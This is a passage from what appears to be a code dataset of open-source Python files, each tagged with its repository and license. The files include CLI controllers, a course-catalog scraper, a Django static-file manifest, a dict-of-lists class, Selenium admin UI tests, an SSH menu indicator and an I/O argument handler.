self.app.render(results, handler='tabulate', headers=headers, tablefmt='simple')\n\n @ex(help='get one-time key for netagent registration',\n arguments=[\n (['shield_name'],\n {\n 'metavar': 'shield_name_or_id',\n 'help': 'Name or ID of the shield.'\n }),\n ])\n def get_otk(self):\n shield_name = self.app.pargs.shield_name\n shield = self._client.find(shield_name)\n if self._client.status(shield_name) == 'INACTIVE':\n raise BanyanError(f'Shield {shield_name} status is INACTIVE')\n if not shield.otk_enabled:\n raise BanyanError(f'Shield {shield_name} is not enabled for OTK')\n self.app.print(str(shield.one_time_key))\n\n @ex(help='show detailed information about a shield',\n arguments=[\n (['shield_name'],\n {\n 'metavar': 'shield_name_or_id',\n 'help': 'Name or ID of the shield.'\n }),\n ])\n def get(self):\n shield_name = self.app.pargs.shield_name\n shield = self._client.find(shield_name)\n shield_json = Shield.Schema().dump(shield)\n # colorized_json = highlight(policy_json, lexers.JsonLexer(), formatters.Terminal256Formatter(style=\"default\"))\n self.app.render(shield_json, handler='json', indent=2, sort_keys=True)\n\n @ex(help='list netagents connected to a shield',\n arguments=[\n (['shield_name'],\n {\n 'metavar': 'shield_name_or_id',\n 'help': 'Name or ID of the shield.'\n }),\n ])\n def list_netagents(self):\n shield_name = self.app.pargs.shield_name\n shield = self._client.find(shield_name)\n agents: List[Netagent] = self._client.config.netagent_map[str(shield.id)]\n results = list()\n headers = ['Site Name', 'Hostname', 'Public IP', 'Status', 'Last Activity']\n for agent in agents:\n new_row = [agent.name, agent.hostname, agent.public_ip_addr, agent.status,\n agent.last_activity_at.strftime(Base.TABLE_DATE_FORMAT) if agent.last_activity_at else 'None']\n results.append(new_row)\n results.sort(key=lambda x: x[0] + x[1])\n self.app.render(results, handler='tabulate', headers=headers, tablefmt='simple')\n\n # TODO: implement for /shield_activity?num=1000&ShieldName=\n @ex(help='show activity (stats, links, events) recorded by a shield')\n def list_activity(self):\n pass\n\n # TODO: implement /register_shield\n @ex(help='register a shield with the system')\n def create(self):\n pass\n\n # TODO: implement /delete_shield_cluster\n @ex(help='delete a shield')\n def delete(self):\n pass\n\n # TODO: implement /shield_events?StartTime=&EndTime=\n @ex(help='show security events recorded by a shield')\n def list_events(self):\n pass\n", "source": "rb-nr/pybanyan", "license": "Apache-2.0"} {"text": "import json\nimport requests\nimport itertools\n\nterm = '2022FA'\n\n# copied from csb.py\n\ntimeslots = 30\ndays = {'M': 0,\n 'T': timeslots,\n 'W': timeslots * 2,\n 'R': timeslots * 3,\n 'F': timeslots * 4}\ntimes = {'8': 0,\n '8.30': 1,\n '9': 2,\n '9.30': 3,\n '10': 4,\n '10.30': 5,\n '11': 6,\n '11.30': 7,\n '12': 8,\n '12.30': 9,\n '1': 10,\n '1.30': 11,\n '2': 12,\n '2.30': 13,\n '3': 14,\n '3.30': 15,\n '4': 16,\n '4.30': 17,\n '5': 18,\n '5.30': 19,\n '6': 20,\n '6.30': 21,\n '7': 22,\n '7.30': 23}\n\neve_times = {'1': 10,\n '1.30': 11,\n '2': 12,\n '2.30': 13,\n '3': 14,\n '3.30': 15,\n '4': 16,\n '4.30': 17,\n '5': 18,\n '5.30': 19,\n '6': 20,\n '6.30': 21,\n '7': 22,\n '7.30': 23,\n '8': 24,\n '8.30': 25,\n '9': 26,\n '9.30': 27,\n '10': 28,\n '10.30': 29}\n\ndef tsp_eve(t, number):\n wdays = t.split()[0]\n t = t[t.find(\"(\")+1:t.find(\")\")].rstrip(' PM')\n \n slots = []\n startendtime = t.split('-')\n try:\n for d in wdays:\n if len(startendtime) > 1:\n length = eve_times[startendtime[1]] - times[startendtime[0]]\n else:\n length = 2\n slots.append((days[d] + eve_times[startendtime[0]], length))\n except Exception as e:\n print(\"tsp_eve\", e, t, number)\n\n return slots\n\ndef tsp(t, number):\n if '*' in t:\n return []\n \n if 'EVE' in t:\n return tsp_eve(t, number)\n\n t = t.split()[0]\n slots = []\n \n try:\n for t in t.split(','):\n\n split = [''.join(x) for _, x in itertools.groupby(t, key=str.isalpha)]\n startendtime = split[1].split('-')\n\n for d in split[0]:\n if len(startendtime) > 1:\n length = times[startendtime[1]] - times[startendtime[0]]\n else:\n length = 2\n slots.append((days[d] + times[startendtime[0]], length))\n except Exception as e:\n print(\"tsp\", e, t, number)\n\n return slots\n\nurl = f'http://coursews.mit.edu/coursews/?term={term}'\n\nraw_text = requests.get(url).text\n# hilariously, the json is invalid thanks to one class\nfixed_text = raw_text.replace('\"Making\"', '"Making"')\nraw_classes = json.loads(fixed_text)['items']\nclasses = {}\n\nterms = {'Fall': 'FA', 'IAP': 'JA', 'Spring': 'SP', 'Summer': 'SU'}\n\ndef term_map(semesters):\n return [terms[s] for s in semesters]\n\ndef parse_units(units):\n u = units.split('-')\n return u[0], u[1], u[2]\n\ngir_rewrite = {\n 'GIR:CAL1': 'Calculus I (GIR)',\n 'GIR:CAL2': 'Calculus II (GIR)',\n 'GIR:PHY1': 'Physics I (GIR)',\n 'GIR:PHY2': 'Physics II (GIR)',\n 'GIR:CHEM': 'Chemistry (GIR)',\n 'GIR:BIOL': 'Biology (GIR)',\n}\n\ndef parse_prereqs(prereqs):\n if len(prereqs) == 0:\n return 'None'\n for gir, gir_rw in gir_rewrite.items():\n prereqs = prereqs.replace(gir, gir_rw)\n return prereqs\n\ndef parse_joint(joint):\n return ', '.join([j.rstrip('J') for j in joint])\n\ninstructors = 'fall_instructors' if term[-2:] == 'FA' else 'spring_instructors'\n\nfor c in raw_classes:\n if c['type'] == 'Class':\n number = c['id']\n\n units1, units2, units3 = parse_units(c['units'])\n\n classes[number] = {\n 'number': number,\n 'name':c['label'],\n 'course': number.split('.')[0],\n 'class': number.split('.')[1],\n 'sections': [],\n 'l': [],\n 'r': [],\n 'b': [],\n 'l_raw': [],\n 'r_raw': [],\n 'b_raw': [],\n 'tba': False,\n 'all_slots': [],\n 'level': ('U' if c['level'] == 'Undergraduate' else 'G'),\n 'terms': term_map(c['semester']),\n 'desc': c['description'],\n 'units1': int(units1), \n 'units2': int(units2),\n 'units3': int(units3),\n 'total_units': int(c['total-units']),\n 'REST': c['gir_attribute'] == 'REST',\n 'LAB': c['gir_attribute'] == 'LAB',\n 'pLAB': c['gir_attribute'] == 'LAB2',\n 'CI-H': c['comm_req_attribute'] == 'CIH',\n 'CI-HW': c['comm_req_attribute'] == 'CIHW',\n 'CI-M': c['comm_req_attribute'] == 'CIM',\n 'HASS-H': 'HH' in c['hass_attribute'],\n 'HASS-A': 'HA' in c['hass_attribute'],\n 'HASS-S': 'HS' in c['hass_attribute'],\n 'HASS-E': 'HE' in c['hass_attribute'],\n 'prereq': parse_prereqs(c['prereqs']),\n 'same_as': parse_joint(c['joint_subjects']),\n 'meets_with': parse_joint(c['meets_with_subjects']),\n 'sat': False,\n # 'instructors': ', '.join(c[instructors]),\n 'in-charge': c['in-charge']}\n\nfor c in raw_classes:\n if c['type'] == 'Class':\n continue\n elif c['type'] == 'LectureSession':\n typ = 'l'\n typraw = 'l_raw'\n elif c['type'] == 'RecitationSession':\n typ = 'r'\n typraw = 'r_raw'\n elif c['type'] == 'LabSession':\n typ = 'b'\n typraw = 'b_raw'\n else:\n print(\"unknown type\", c)\n continue\n \n number = c['section-of']\n\n if number not in classes:\n print('section for nonexistent class', number)\n continue\n\n cl = classes[number]\n\n if 'EVE' in c['timeAndPlace']:\n split = c['timeAndPlace'].rsplit(' ', 1)\n t = split[0]\n else:\n # For some reason, a couple classes are totally inconsistent.\n tp = c['timeAndPlace']\n if \"33-014, \" in tp:\n tp = tp[:-5]\n if \":00\" in tp or \":30\" in tp:\n tp = tp.replace(\":00\", \"\").replace(\":30\", \".30\")\n split = tp.rsplit(' ', 1)\n t = split[0].replace(' ', '')\n\n if 'ENDS' in t:\n t = t.split('(')[0].strip()\n\n p = split[1]\n\n if p == 'VIRTUAL':\n p = 'Virtual'\n\n # Check for TBA.\n if t == '*TO BE ARRANGED' or t == 'null' or t.lower() == 'tbd' or t.lower() == 'tba':\n cl['tba'] = True\n continue\n\n # Check for Saturday :(\n if 'S' in t:\n cl['sat'] = True\n continue\n \n # Parse timeslot.\n # Format: 30 timeslots a day.\n slots = []\n for s in t.strip().split(','):\n slots.extend(tsp(s, number))\n\n # If no slots, ignore.\n if slots == []:\n continue\n\n # If duplicate slot, throw out.\n if slots in cl['all_slots']:\n continue\n else:\n cl['all_slots'].append(slots)\n\n slots = (slots, p)\n\n if typ not in cl['sections']:\n cl['sections'].append(typ)\n\n cl[typ].append(slots)\n cl[typraw].append(t)\n\nwith open('ws', 'w') as f:\n json.dump(classes, f)\n\nwith open('all_classes', 'w') as f:\n json.dump(list(classes.keys()), f)", "source": "edfan/firehose", "license": "FSFAP"} {"text": "try:\n from staticfiles.finders import get_finders\nexcept ImportError:\n from django.contrib.staticfiles.finders import get_finders # noqa\n\nimport os\n\nfrom django.conf import settings\nfrom pipeline.conf.settings import (PIPELINE)\n\nfrom manifesto import Manifest\n\nfrom pipeline.packager import Packager\n\n\nclass PipelineManifest(Manifest):\n def __init__(self):\n self.packager = Packager()\n self.packages = self.collect_packages()\n self.finders = get_finders()\n self.package_files = self.get_package_files()\n\n def get_package_files(self):\n files = list()\n for package in self.packages:\n files.append(package.output_filename)\n for path in self.packager.compile(package.paths):\n files.append(path)\n\n return files \n\n def collect_packages(self):\n packages = []\n for package_name in self.packager.packages['css']:\n package = self.packager.package_for('css', package_name)\n if package.manifest:\n packages.append(package)\n for package_name in self.packager.packages['js']:\n package = self.packager.package_for('js', package_name)\n if package.manifest:\n packages.append(package)\n return packages\n\n def cache(self):\n ignore_patterns = getattr(settings, \"STATICFILES_IGNORE_PATTERNS\", None)\n \n if PIPELINE:\n for package in self.packages:\n yield str(self.packager.individual_url(package.output_filename))\n else:\n for package in self.packages:\n for path in self.packager.compile(package.paths):\n yield str(self.packager.individual_url(path))\n\n for finder in self.finders:\n for path, storage in finder.list(ignore_patterns):\n # Prefix the relative path if the source storage contains it\n if getattr(storage, 'prefix', None):\n prefixed_path = os.path.join(storage.prefix, path)\n else:\n prefixed_path = path\n\n # Dont add any doubles\n if prefixed_path not in self.package_files:\n yield str(self.packager.individual_url(prefixed_path))\n", "source": "reshift/django-pipeline", "license": "MIT"} {"text": "class dictlist(dict):\n \"\"\"A python implementation of a dictionary mapping one key to a list of values.\n\n Parameters\n ----------\n See the ``update`` method.\n\n Example\n -------\n >>> from dictlist import dictlist\n >>> dl = dictlist()\n >>> dl['A']='a'\n >>> dl.update({'B':'b','C':'c'})\n >>> dl.update({'B':'b1','C':'c1'})\n >>> dl == {'A': ['a'], 'C': ['c', 'c1'], 'B': ['b', 'b1']}\n True\n\n \"\"\"\n\n def __init__(self,other=None,**kwargs):\n self.update(other,**kwargs)\n\n def update(self, other=None, **kwargs):\n \"\"\"\n Updates the dictionary with the keys and values\n\n --\n Copied from `UserDict`'s implementation\n Modified to use the custom `__setitem__` method\n\n Parameters\n ----------\n other : None\n Nothing is done\n other : dict\n The dictionary is updated. New keys are created.\n Values are appended to their respective keys\n other : [ (a,b),(c,d),..]\n The dictionary is updated mapping a and c in keys,\n and b and d in values.\n\n Example\n -------\n >>> from dictlist import dictlist\n >>> dl = dictlist()\n >>> dl.update({'B':'b','C':'c'})\n >>> dl.update({'C':'c1'})\n >>> dl == {'C': ['c', 'c1'], 'B': ['b']}\n True\n \"\"\"\n\n # Make progressively weaker assumptions about \"other\"\n if other is None:\n pass\n elif hasattr(other, 'iteritems'): # iteritems saves memory and lookups\n for k, v in other.iteritems():\n self.__setitem__(k, v)\n elif hasattr(other, 'keys'):\n for k in other.keys():\n self.__setitem__(k, other[k])\n else:\n for k, v in other:\n self.__setitem__(k, v)\n if kwargs:\n self.update(kwargs)\n\n def __setitem__(self,key,value):\n \"\"\"\n Inserts value in the list of values of key.\n If key does not exists, it's created.\n\n Parameters\n ----------\n key : any hashable object\n value: any object\n\n Example\n -------\n >>> from dictlist import dictlist\n >>> dl = dictlist()\n >>> dl\n {}\n >>> dl['A']='a'\n >>> dl\n {'A': ['a']}\n\n \"\"\"\n insert_value = self[key]\n insert_value.append(value)\n super(dictlist,self).__setitem__(key,insert_value)\n\n def __missing__(self,key):\n return list()\n\n def minus(self,other=None,*args,**kwargs):\n \"\"\"Removes the 1st occurence of ``value`` in ``key``.\n Removal is performed in place, as in :py:list:remove\n\n Parameters\n ----------\n other : None\n Nothing is done\n other : dict\n For each item key, value, removes the first occurence of value\n in the list of key\n other : [ (a,b),(c,d),..]\n The dictionary is updated mapping a and c in keys,\n and b and d in values.\n\n Examples\n --------\n >>> from dictlist import dictlist\n >>> dl = dictlist()\n >>> dl.update({'B':'b','C':'c'})\n >>> dl.update({'C':'c1'})\n >>> dl == {'C': ['c', 'c1'], 'B': ['b']}\n True\n >>> dl.minus({'C':'c1'})\n >>> dl == {'C': ['c'], 'B': ['b']}\n True\n >>> dl.update({'C':'c1'})\n >>> dl.minus(C='c1')\n >>> dl == {'C': ['c'], 'B': ['b']}\n True\n >>> dl.update({'C':'c1'})\n >>> dl.minus([('C','c1'),])\n >>> dl == {'C': ['c'], 'B': ['b']}\n True\n \"\"\"\n if other==None:\n pass\n elif hasattr(other, 'iteritems'):\n for k, v in other.iteritems():\n self[k].remove(v)\n elif hasattr(other, 'keys'):\n for k in other.keys():\n self[k].remove(other[k])\n else:\n for k, v in other:\n self[k].remove(v)\n\n if kwargs:\n self.minus(kwargs)\n\n\n def popkw(self,key,value):\n \"\"\"Removes all occurences of ``value`` in ``key``\n\n Parameters\n ----------\n key : a key\n value : a value\n\n >>> from dictlist import dictlist\n >>> dl = dictlist()\n >>> dl.update({'B':'b','C':'c'})\n >>> dl.update({'C':'c1'})\n >>> dl.update({'C':'c1'})\n >>> dl == {'C': ['c', 'c1','c1'], 'B': ['b']}\n True\n >>> dl.popkw('C','c1')\n >>> dl == {'C': ['c'], 'B': ['b']}\n True\n \"\"\"\n vlist = self[key]\n vlist_new = [i for i in vlist if i != value]\n super(dictlist,self).__setitem__(key,vlist_new)\n", "source": "astyonax/dictlist", "license": "MIT"} {"text": "# String\n\ns = \"I am a string.\"\nprint(type(s)) # Will say str\n\n# Boolean\n\nyes = True # Boolean True\nprint(type(yes))\n\nno = False\nprint(type(no)) # Boolean false\nprint(\" \")\n\n# Lit -- ordered and changeable\n\nalpha_list = [\"a\", \"b\", \"c\"] # List initialization\nprint(type(alpha_list)) # Will say tuple\nprint(type(alpha_list[0]))\t # Prints the type of the 0'th element of the list! (str)\nalpha_list.append(\"d\") # Will add a \"d\" to fthe list end\nprint(alpha_list) # Will print list\nprint(\" \")\n\n# Tuple -- ordered and unchangeable\n\nalpha_tuple = (\"a\", \"b\", \"c\") #Tuple initialization\nprint(type(alpha_tuple)) # Will say tuple\nprint(\" \")\n\ntry: # Attempt the following line:\n\talpha_tuple[2] = \"d\" # Won't work and will raise TypeError\nexcept TypeError: # When we get as TypeError\n\tprint(\"We can't add elements to tuples!\") # Print this messqge\nprint(alpha_tuple) # Will print tuple\n", "source": "spausanc/astr-119-hw-1", "license": "MIT"} {"text": "# flake8: noqa\nfrom .encoders import Encoder\n\nimport categorical_encoding.encoders\nimport categorical_encoding.primitives\nimport categorical_encoding.tests\n\n__version__ = '0.4.1'\n", "source": "isabella232/categorical_encoding", "license": "BSD-3-Clause"} {"text": "import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport icu # pip install PyICU\n\n\n@pytest.fixture\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(2)\n request.addfinalizer(wd.quit)\n return wd\n\n\ndef test_check_countries_order(driver):\n admin_login(driver)\n driver.find_element(By.CSS_SELECTOR, \"a[href='http://localhost/litecart/admin/?app=countries&doc=countries']\").click()\n # a)\n countries_elements_list = driver.find_elements(By.CSS_SELECTOR, '.table.table-striped.data-table td a:not([title=Edit])')\n actual_countries_list = []\n for country_element in countries_elements_list:\n country = country_element.get_attribute(\"textContent\")\n actual_countries_list.append(country)\n collator = icu.Collator.createInstance(icu.Locale('de_DE.UTF-8'))\n expected_countries_list = sorted(actual_countries_list, key=collator.getSortKey)\n assert actual_countries_list == expected_countries_list\n # b)\n countries_table_rows_len = len(driver.find_elements(By.CSS_SELECTOR, '.table.table-striped.data-table tbody tr'))\n i = 0\n while i < countries_table_rows_len:\n countries_table_rows = driver.find_elements(By.CSS_SELECTOR, '.table.table-striped.data-table tbody tr')\n zone_count = int(countries_table_rows[i].find_element(By.CSS_SELECTOR, '.text-center').text)\n if zone_count != 0:\n countries_table_rows[i].find_element(By.CSS_SELECTOR, 'a[title=Edit]').click()\n countries_zone_table_rows = driver.find_elements(By.CSS_SELECTOR, '.table.table-striped.data-table tbody tr')\n countries_zone_list = []\n for zone in countries_zone_table_rows:\n countries_zone_number_element = zone.find_element(By.CSS_SELECTOR, 'td:first-child')\n countries_zone_number_str = countries_zone_number_element.text\n countries_zone_name_element = zone.find_element(By.CSS_SELECTOR, \"input[name='zones[\" + countries_zone_number_str + \"][name]']\")\n countries_zone_name_str = countries_zone_name_element.get_attribute(\"value\")\n countries_zone_list.append(countries_zone_name_str)\n assert countries_zone_list == sorted(countries_zone_list, key=collator.getSortKey)\n driver.find_element(By.CSS_SELECTOR, \"a[href='http://localhost/litecart/admin/?app=countries&doc=countries']\").click()\n i += 1\n admin_logout(driver)\n\n\ndef test_check_zones_order(driver):\n admin_login(driver)\n driver.find_element(By.CSS_SELECTOR, \"a[href='http://localhost/litecart/admin/?app=geo_zones&doc=geo_zones']\").click()\n zones_table_rows_count = len(driver.find_elements(By.CSS_SELECTOR, '.table.table-striped.data-table tbody tr'))\n i = 0\n while i < zones_table_rows_count:\n zones_table_rows = driver.find_elements(By.CSS_SELECTOR, '.table.table-striped.data-table tbody tr')\n zones_table_rows[i].find_element(By.CSS_SELECTOR, 'a[title=\"Edit\"]').click()\n zones_countries_zones_list_rows = driver.find_elements(By.CSS_SELECTOR, '.table.table-striped.data-table tbody tr')\n zones_countries_zone_list = []\n for zone in zones_countries_zones_list_rows:\n zones_countries_zone_number_element = zone.find_element(By.CSS_SELECTOR, 'td:first-child')\n zones_countries_zone_number_str = zones_countries_zone_number_element.text\n zones_countries_zone_name_element = zone.find_element(By.XPATH, \"//input[@name='zones[\" + zones_countries_zone_number_str + \"][zone_code]']/..\")\n zones_countries_zone_name_str = zones_countries_zone_name_element.text\n zones_countries_zone_list.append(zones_countries_zone_name_str)\n collator = icu.Collator.createInstance(icu.Locale('de_DE.UTF-8'))\n assert zones_countries_zone_list == sorted(zones_countries_zone_list, key=collator.getSortKey)\n driver.find_element(By.CSS_SELECTOR, \"a[href='http://localhost/litecart/admin/?app=geo_zones&doc=geo_zones']\").click()\n i += 1\n admin_logout(driver)\n\n\ndef admin_login(driver):\n driver.get(\"http://localhost/litecart/admin/login.php\")\n driver.find_element(By.NAME, \"username\").send_keys(\"admin\")\n driver.find_element(By.NAME, \"password\").send_keys(\"admin\")\n driver.find_element(By.XPATH, \"//button[@name='login']\").click()\n\n\ndef admin_logout(driver):\n driver.find_element(By.CSS_SELECTOR, '.fa.fa-sign-out.fa-lg').click()", "source": "eugene-petrash/selenium-webdriver-full-tutorial", "license": "Apache-2.0"} {"text": "from .source import *\nfrom . import text_filter\nfrom . import entry_filter\nfrom .entry_filter import SimpleFilter,SynonymFilter,PanlexSynonymFilter,PanlexExtractorFilter,PredicateFilter\n", "source": "longnow/panlex-tools", "license": "MIT"} {"text": "import logging\nimport sys\n\nfrom PyQt5.QtCore import qInstallMessageHandler, QtCriticalMsg, QtFatalMsg, QtInfoMsg, QtWarningMsg\nfrom PyQt5.QtWidgets import QApplication\ntry:\n import storm\nexcept ImportError:\n raise ImportError(\n 'stormssh is not installed.\\n'\n 'You need to install it in order to use storm-indicator.\\n'\n 'Try \"pip install stormssh\".')\n\nfrom storm_indicator_pyqt.storm_ind import StormIndicator\n\n\n# init logging\nlogging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s')\nLOG = logging.getLogger('ssh-indicator-pyqt')\n\n\ndef qt_message_handler(mode, context, message):\n \"\"\"Redirect Qt log messages to python logging.\"\"\"\n if mode == QtInfoMsg:\n LOG.info(message)\n elif mode == QtWarningMsg:\n LOG.warning(message)\n elif mode == QtCriticalMsg:\n LOG.critical(message)\n elif mode == QtFatalMsg:\n LOG.critical(message)\n else:\n LOG.debug(message)\n LOG.debug('qt_message_handler: line: %d, func: %s(), file: %s',\n context.line, context.function, context.file)\n\n\ndef main(argv):\n \"\"\"Parse ssh .config file and run application.\"\"\"\n LOG.debug('args: %s', argv)\n qInstallMessageHandler(qt_message_handler)\n\n app = QApplication([])\n\n indicator = StormIndicator()\n indicator.add_menu_item('SSH Connections', sensitive=False)\n indicator.add_separator()\n\n hosts = {}\n\n # loop for all entries except blank line and wildcard entries\n for host in [host.get('host') for host in storm.ConfigParser().load()\n if host.get('host') and '*' not in host.get('host')]:\n assert isinstance(host, str)\n # '-' is a delimiter\n # Example: Host1 - parent host, Host1-dev1 - child host\n if '-' in host:\n parent = host.split('-')[0]\n if parent in hosts.keys():\n if hosts.get(parent):\n hosts[parent].append(host)\n else:\n hosts[parent] = []\n hosts[parent].append(parent)\n hosts[parent].append(host)\n else:\n is_new_item = True\n for key in hosts:\n if parent in key:\n is_new_item = False\n hosts[parent] = []\n hosts[parent].append(key)\n hosts[parent].append(host)\n del hosts[key]\n break\n if is_new_item:\n hosts[host] = None\n else:\n hosts[host] = None\n indicator.add_hosts_menu_items(hosts)\n\n indicator.add_separator()\n indicator.add_menu_item('About', value='about')\n indicator.add_separator()\n indicator.add_menu_item('Quit', value='quit')\n indicator.show()\n indicator.setup_menu()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "class Solution(object):\n def generateParenthesis(self, n):\n \"\"\"\n :type n: int\n :rtype: List[str]\n \"\"\"\n combinations = []\n\n def combination(ans, openP, closeP):\n if closeP == n:\n combinations.append(ans)\n return\n\n if openP > closeP:\n combination(ans + \")\", openP, closeP + 1)\n\n if openP < n:\n combination(ans + \"(\", openP + 1, closeP)\n\n combination(\"\", 0, 0)\n return combinations\n", "source": "Pondorasti/Competitive-Programming", "license": "MIT"} {"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2009, Enthought, Inc.\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in enthought/LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n#\n#------------------------------------------------------------------------------\n\nimport logging\n\nlogger = logging.getLogger()\nlogger.warning('DEPRECATED: pyface.wx.clipboard, use pyface.api instead.')\n\nfrom pyface.ui.wx.clipboard import Clipboard\nclipboard = Clipboard()\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "from force_bdss.api import (\n FixedMCOParameterFactory,\n ListedMCOParameterFactory,\n RangedMCOParameterFactory\n)\n\nfrom force_nevergrad.mco.ng_mco_factory import NevergradMCOFactory\n\nfrom surfactant_example.mco.parameters.ingredient import (\n IngredientMCOParameterFactory,\n)\n\n\nclass SurfactantNevergradMCOFactory(NevergradMCOFactory):\n\n def get_identifier(self):\n return \"surfactant_nevergrad_mco\"\n\n #: Factory classes of the parameters the MCO supports.\n def get_parameter_factory_classes(self):\n return [\n FixedMCOParameterFactory,\n ListedMCOParameterFactory,\n RangedMCOParameterFactory,\n IngredientMCOParameterFactory,\n ]\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"} {"text": "from data_fetchers.ists_gen_df_fetch import fetchIstsGenDf, fetchPrevIstsGenDf\nfrom data_fetchers.tot_gen_df_fetch import fetchTotGenDf, fetchPrevTotGenDf\nfrom data_fetchers.volt_df_fetch import fetchVoltDf, fetchPrevVoltDf\n\n\ndef fetchTsInpData():\n istsGenDf = fetchIstsGenDf()\n totGenDf = fetchTotGenDf()\n # voltDf = fetchVoltDf()\n inpTsDataDf = istsGenDf.merge(totGenDf, on='HRS')\n return inpTsDataDf\n\n\ndef fetchPrevTsInpData():\n istsGenDf = fetchPrevIstsGenDf()\n totGenDf = fetchPrevTotGenDf()\n # voltDf = fetchPrevVoltDf()\n inpTsDataDf = istsGenDf.merge(totGenDf, on='HRS')\n return inpTsDataDf\n", "source": "nagasudhirpulla/wrldc_remc_reports_generator", "license": "MIT"} {"text": "from __future__ import annotations\n\nimport string\nimport sys\nfrom typing import Any, Callable, Union, Optional, Type, Tuple, TYPE_CHECKING\n\nfrom maybe import Maybe\nfrom subtypes import Enum, ValueEnum, Dict, DoNotTranslateMeta\nfrom miscutils import cached_property, is_running_in_ipython\n\nfrom .synchronizer import Synchronizer\n\nfrom iotools.misc import Validate, Condition, Validator, IoToolsConfig as Config\n\nif TYPE_CHECKING:\n from iotools.gui.widget import WidgetHandler\n\n\n# TODO: implement argument profiles\n# TODO: improve dependent arguments\n\n\nclass RunMode(Enum):\n \"\"\"An Enum of the various run modes an IOHandler accepts.\"\"\"\n SMART, COMMANDLINE, GUI, PROGRAMMATIC = \"smart\", \"commandline\", \"gui\", \"programmatic\"\n\n\nclass ArgType(ValueEnum):\n \"\"\"An Enum of the various argument types an IOHandler understands.\"\"\"\n STRING, BOOLEAN, INTEGER, FLOAT, DECIMAL = Validate.String, Validate.Boolean, Validate.Integer, Validate.Float, Validate.Decimal\n DATETIME, DATE = Validate.DateTime, Validate.Date\n LIST, DICT, SET = Validate.List, Validate.Dict, Validate.Set\n PATH, FILE, DIR = Validate.Path, Validate.File, Validate.Dir\n\n\nclass ImplicitNone:\n pass\n\n\nimplicit_none = ImplicitNone()\n\n\nclass IOHandler:\n \"\"\"\n A class that handles I/O by collecting arguments through the commandline, or generates a GUI to collect arguments if no commandline arguments are provided.\n The IOHandler implicitly creates a folder structure in the directory of its script for storing the configuration of the previous run, and for providing output.\n \"\"\"\n\n stack: list[IOHandler] = []\n\n def __init__(self, app_name: str, app_desc: str = \"\", run_mode: RunMode = None, callback: Callable = None, subtypes: bool = True, _name: str = None, _parent: IOHandler = None) -> None:\n self.app_name, self.app_desc, self.run_mode, self.callback, self.subtypes, self.name, self.parent = app_name, app_desc, run_mode or RunMode.SMART, callback, subtypes, Maybe(_name).else_(\"main\"), _parent\n self.config = Config() if self.parent is None else self.parent.config\n\n self.arguments: dict[str, Argument] = {}\n self.subcommands: dict[str, IOHandler] = {}\n self.sync: Optional[Synchronizer] = None\n\n self._remaining_letters = set(string.ascii_lowercase)\n self._remaining_letters.discard(\"h\")\n\n self._root = (self.config.folder.new_dir(self.app_name) if self.parent is None else self.parent._root).new_dir(self.name)\n self._dir = self._root.new_dir(\"__io__\")\n self.outfile, self.outdir, self._latest = self._dir.new_file(\"output\", \"txt\"), self._dir.new_dir(\"output\"), self._dir.new_file(\"latest\", \"pkl\")\n\n def __repr__(self) -> str:\n return f\"{type(self).__name__}({', '.join([f'{attr}={repr(val)}' for attr, val in self.__dict__.items() if not attr.startswith('_')])})\"\n\n def __enter__(self) -> IOHandler:\n self.stack.append(self)\n return self\n\n def __exit__(self, ex_type: Any, ex_value: Any, ex_traceback: Any) -> None:\n self.stack.pop()\n\n def add_argument(self, argument: Argument) -> None:\n \"\"\"Add a new Argument object to this IOHandler. Passes on its arguments to the Argument constructor.\"\"\"\n self._validate_arg_name(argument.name)\n shortform = self._determine_shortform_alias(argument.name)\n\n if shortform is not None:\n argument.aliases = sorted([shortform, *argument.aliases], key=len)\n\n if isinstance(argument.argtype, Validator):\n argument.argtype.use_subtypes = self.subtypes\n\n self.arguments[argument.name] = argument\n\n def add_subcommand(self, name: str, callback: Callable = None) -> IOHandler:\n \"\"\"Add a new subcommand to this IOHandler, which is itself an IOHandler. The subcommand will process its own set of arguments when the given verb is used.\"\"\"\n subcommand = IOHandler(app_name=self.app_name, app_desc=self.app_desc, run_mode=self.run_mode, callback=callback, _name=name, _parent=self)\n self.subcommands[name] = subcommand\n return subcommand\n\n def process(self, values: Union[dict, ImplicitNone] = implicit_none, handler: IOHandler = None) -> CallableDict:\n \"\"\"Collect input using this IOHandler's 'run_mode' and return a CallableDict holding the parsed arguments, coerced to appropriate python types.\"\"\"\n self.sync = Synchronizer(root_handler=self)\n namespace, handler = self._delegate_to_synchronizer(values=values, handler=handler)\n\n handler._save_latest_input_config(namespace=namespace)\n return CallableDict(dictionary=namespace, callback=handler.callback)\n\n def show_output(self, outfile: bool = True, outdir: bool = True) -> None:\n \"\"\"Show the output file and/or folder belonging to this IOHandler.\"\"\"\n if outfile:\n self.outfile.start()\n if outdir:\n self.outdir.start()\n\n def clear_output(self, outfile: bool = True, outdir: bool = True) -> None:\n \"\"\"Clear the output file and/or folder belonging to this IOHandler.\"\"\"\n if outfile:\n self.outfile.content = None\n\n if outdir:\n self.outdir.clear()\n\n def _delegate_to_synchronizer(self, values: Union[dict, ImplicitNone], handler: IOHandler) -> Tuple[Dict, IOHandler]:\n if self.run_mode == RunMode.SMART:\n return self._run_smart(values=values, handler=handler)\n else:\n handler_method = RunMode(self.run_mode).map_to({\n RunMode.COMMANDLINE: self.sync.run_from_commandline,\n RunMode.GUI: self.sync.run_as_gui,\n RunMode.PROGRAMMATIC: self.sync.run_programatically,\n })\n\n return handler_method(values=None if values is implicit_none else values, handler=handler)\n\n def _run_smart(self, values: Union[dict, ImplicitNone], handler: IOHandler) -> Tuple[Dict, IOHandler]:\n if values or is_running_in_ipython():\n return self.sync.run_programatically(values=values, handler=handler)\n else:\n if values is implicit_none:\n values = None\n\n if not sys.argv[1:]:\n return self.sync.run_as_gui(values=values, handler=handler)\n else:\n return self.sync.run_from_commandline(values=values, handler=handler)\n\n def _save_latest_input_config(self, 